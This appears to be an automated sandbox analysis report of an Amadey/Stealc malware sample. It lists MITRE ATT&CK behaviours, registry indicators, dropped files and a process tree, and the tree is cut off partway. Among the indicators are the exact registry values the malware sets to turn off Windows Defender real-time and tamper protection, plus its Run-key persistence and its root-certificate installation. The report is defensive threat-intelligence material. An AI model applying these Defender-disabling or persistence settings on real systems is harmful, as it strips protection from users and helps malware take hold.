amadey | b40bca0264f21f6ad389319dd05a41d8168a8ac3e150ac1b2e21293711e62f18

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	237cfded39.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	237cfded39.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	237cfded39.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	237cfded39.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	237cfded39.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	237cfded39.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	45dc7b2666.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	45dc7b2666.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	68f75721d4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	718fffc7bd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	fd115d1481.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	237cfded39.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
173	3220	rundll32.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 14 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	718fffc7bd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	237cfded39.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	718fffc7bd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	68f75721d4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	68f75721d4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	45dc7b2666.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fd115d1481.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	237cfded39.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	45dc7b2666.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fd115d1481.exe

Executes dropped EXE 9 IoCs

pid	Process
2884	skotes.exe
3016	68f75721d4.exe
668	t6kzDd6.exe
2432	Gxtuum.exe
1672	718fffc7bd.exe
300	fd115d1481.exe
3048	65bf6b8264.exe
2600	237cfded39.exe
3668	45dc7b2666.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	68f75721d4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	718fffc7bd.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	fd115d1481.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	237cfded39.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	45dc7b2666.exe

Loads dropped DLL 21 IoCs

pid	Process
1152	file.exe
1152	file.exe
2884	skotes.exe
2884	skotes.exe
2884	skotes.exe
668	t6kzDd6.exe
668	t6kzDd6.exe
2884	skotes.exe
2884	skotes.exe
2884	skotes.exe
2884	skotes.exe
2884	skotes.exe
3016	68f75721d4.exe
3220	rundll32.exe
3220	rundll32.exe
3220	rundll32.exe
3220	rundll32.exe
1980	rundll32.exe
1980	rundll32.exe
1980	rundll32.exe
1980	rundll32.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	237cfded39.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	237cfded39.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\fd115d1481.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1009996001\\fd115d1481.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\65bf6b8264.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1009997001\\65bf6b8264.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\237cfded39.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1009998001\\237cfded39.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\718fffc7bd.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1009995001\\718fffc7bd.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0007000000018745-183.dat	autoit_exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\clip64.dll	Gxtuum.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\cred64.dll	Gxtuum.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
1152	file.exe
2884	skotes.exe
3016	68f75721d4.exe
1672	718fffc7bd.exe
300	fd115d1481.exe
2600	237cfded39.exe
3668	45dc7b2666.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	file.exe
File created	C:\Windows\Tasks\Gxtuum.job	t6kzDd6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	68f75721d4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t6kzDd6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	237cfded39.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	45dc7b2666.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	718fffc7bd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fd115d1481.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	65bf6b8264.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2904	cmd.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Kills process with taskkill 5 IoCs

pid	Process
1508	taskkill.exe
2124	taskkill.exe
936	taskkill.exe
604	taskkill.exe
2292	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10348263d041db01	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_Classes\Local Settings	firefox.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Gxtuum.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	718fffc7bd.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	718fffc7bd.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	718fffc7bd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Gxtuum.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1152	file.exe
2884	skotes.exe
3016	68f75721d4.exe
1672	718fffc7bd.exe
300	fd115d1481.exe
3048	65bf6b8264.exe
2600	237cfded39.exe
2600	237cfded39.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
2600	237cfded39.exe
2600	237cfded39.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
3668	45dc7b2666.exe
2432	Gxtuum.exe
3348	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2292	taskkill.exe
Token: SeDebugPrivilege	1508	taskkill.exe
Token: SeDebugPrivilege	2124	taskkill.exe
Token: SeDebugPrivilege	936	taskkill.exe
Token: SeDebugPrivilege	604	taskkill.exe
Token: SeDebugPrivilege	1768	firefox.exe
Token: SeDebugPrivilege	1768	firefox.exe
Token: SeDebugPrivilege	2600	237cfded39.exe
Token: SeDebugPrivilege	3348	powershell.exe

Suspicious use of FindShellTrayWindow 18 IoCs

pid	Process
1152	file.exe
668	t6kzDd6.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
1768	firefox.exe
1768	firefox.exe
1768	firefox.exe
1768	firefox.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe

Suspicious use of SendNotifyMessage 15 IoCs

pid	Process
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
1768	firefox.exe
1768	firefox.exe
1768	firefox.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe
3048	65bf6b8264.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 2884	1152	file.exe	31
PID 1152 wrote to memory of 2884	1152	file.exe	31
PID 1152 wrote to memory of 2884	1152	file.exe	31
PID 1152 wrote to memory of 2884	1152	file.exe	31
PID 2884 wrote to memory of 3016	2884	skotes.exe	33
PID 2884 wrote to memory of 3016	2884	skotes.exe	33
PID 2884 wrote to memory of 3016	2884	skotes.exe	33
PID 2884 wrote to memory of 3016	2884	skotes.exe	33
PID 2884 wrote to memory of 668	2884	skotes.exe	35
PID 2884 wrote to memory of 668	2884	skotes.exe	35
PID 2884 wrote to memory of 668	2884	skotes.exe	35
PID 2884 wrote to memory of 668	2884	skotes.exe	35
PID 668 wrote to memory of 2432	668	t6kzDd6.exe	36
PID 668 wrote to memory of 2432	668	t6kzDd6.exe	36
PID 668 wrote to memory of 2432	668	t6kzDd6.exe	36
PID 668 wrote to memory of 2432	668	t6kzDd6.exe	36
PID 2884 wrote to memory of 1672	2884	skotes.exe	37
PID 2884 wrote to memory of 1672	2884	skotes.exe	37
PID 2884 wrote to memory of 1672	2884	skotes.exe	37
PID 2884 wrote to memory of 1672	2884	skotes.exe	37
PID 2884 wrote to memory of 300	2884	skotes.exe	38
PID 2884 wrote to memory of 300	2884	skotes.exe	38
PID 2884 wrote to memory of 300	2884	skotes.exe	38
PID 2884 wrote to memory of 300	2884	skotes.exe	38
PID 2884 wrote to memory of 3048	2884	skotes.exe	40
PID 2884 wrote to memory of 3048	2884	skotes.exe	40
PID 2884 wrote to memory of 3048	2884	skotes.exe	40
PID 2884 wrote to memory of 3048	2884	skotes.exe	40
PID 3048 wrote to memory of 2292	3048	65bf6b8264.exe	41
PID 3048 wrote to memory of 2292	3048	65bf6b8264.exe	41
PID 3048 wrote to memory of 2292	3048	65bf6b8264.exe	41
PID 3048 wrote to memory of 2292	3048	65bf6b8264.exe	41
PID 3048 wrote to memory of 1508	3048	65bf6b8264.exe	44
PID 3048 wrote to memory of 1508	3048	65bf6b8264.exe	44
PID 3048 wrote to memory of 1508	3048	65bf6b8264.exe	44
PID 3048 wrote to memory of 1508	3048	65bf6b8264.exe	44
PID 3048 wrote to memory of 2124	3048	65bf6b8264.exe	46
PID 3048 wrote to memory of 2124	3048	65bf6b8264.exe	46
PID 3048 wrote to memory of 2124	3048	65bf6b8264.exe	46
PID 3048 wrote to memory of 2124	3048	65bf6b8264.exe	46
PID 3048 wrote to memory of 936	3048	65bf6b8264.exe	48
PID 3048 wrote to memory of 936	3048	65bf6b8264.exe	48
PID 3048 wrote to memory of 936	3048	65bf6b8264.exe	48
PID 3048 wrote to memory of 936	3048	65bf6b8264.exe	48
PID 3048 wrote to memory of 604	3048	65bf6b8264.exe	50
PID 3048 wrote to memory of 604	3048	65bf6b8264.exe	50
PID 3048 wrote to memory of 604	3048	65bf6b8264.exe	50
PID 3048 wrote to memory of 604	3048	65bf6b8264.exe	50
PID 3048 wrote to memory of 2132	3048	65bf6b8264.exe	52
PID 3048 wrote to memory of 2132	3048	65bf6b8264.exe	52
PID 3048 wrote to memory of 2132	3048	65bf6b8264.exe	52
PID 3048 wrote to memory of 2132	3048	65bf6b8264.exe	52
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53
PID 2132 wrote to memory of 1768	2132	firefox.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Users\Admin\AppData\Local\Temp\1009993001\68f75721d4.exe
    "C:\Users\Admin\AppData\Local\Temp\1009993001\68f75721d4.exe"
    3⤵
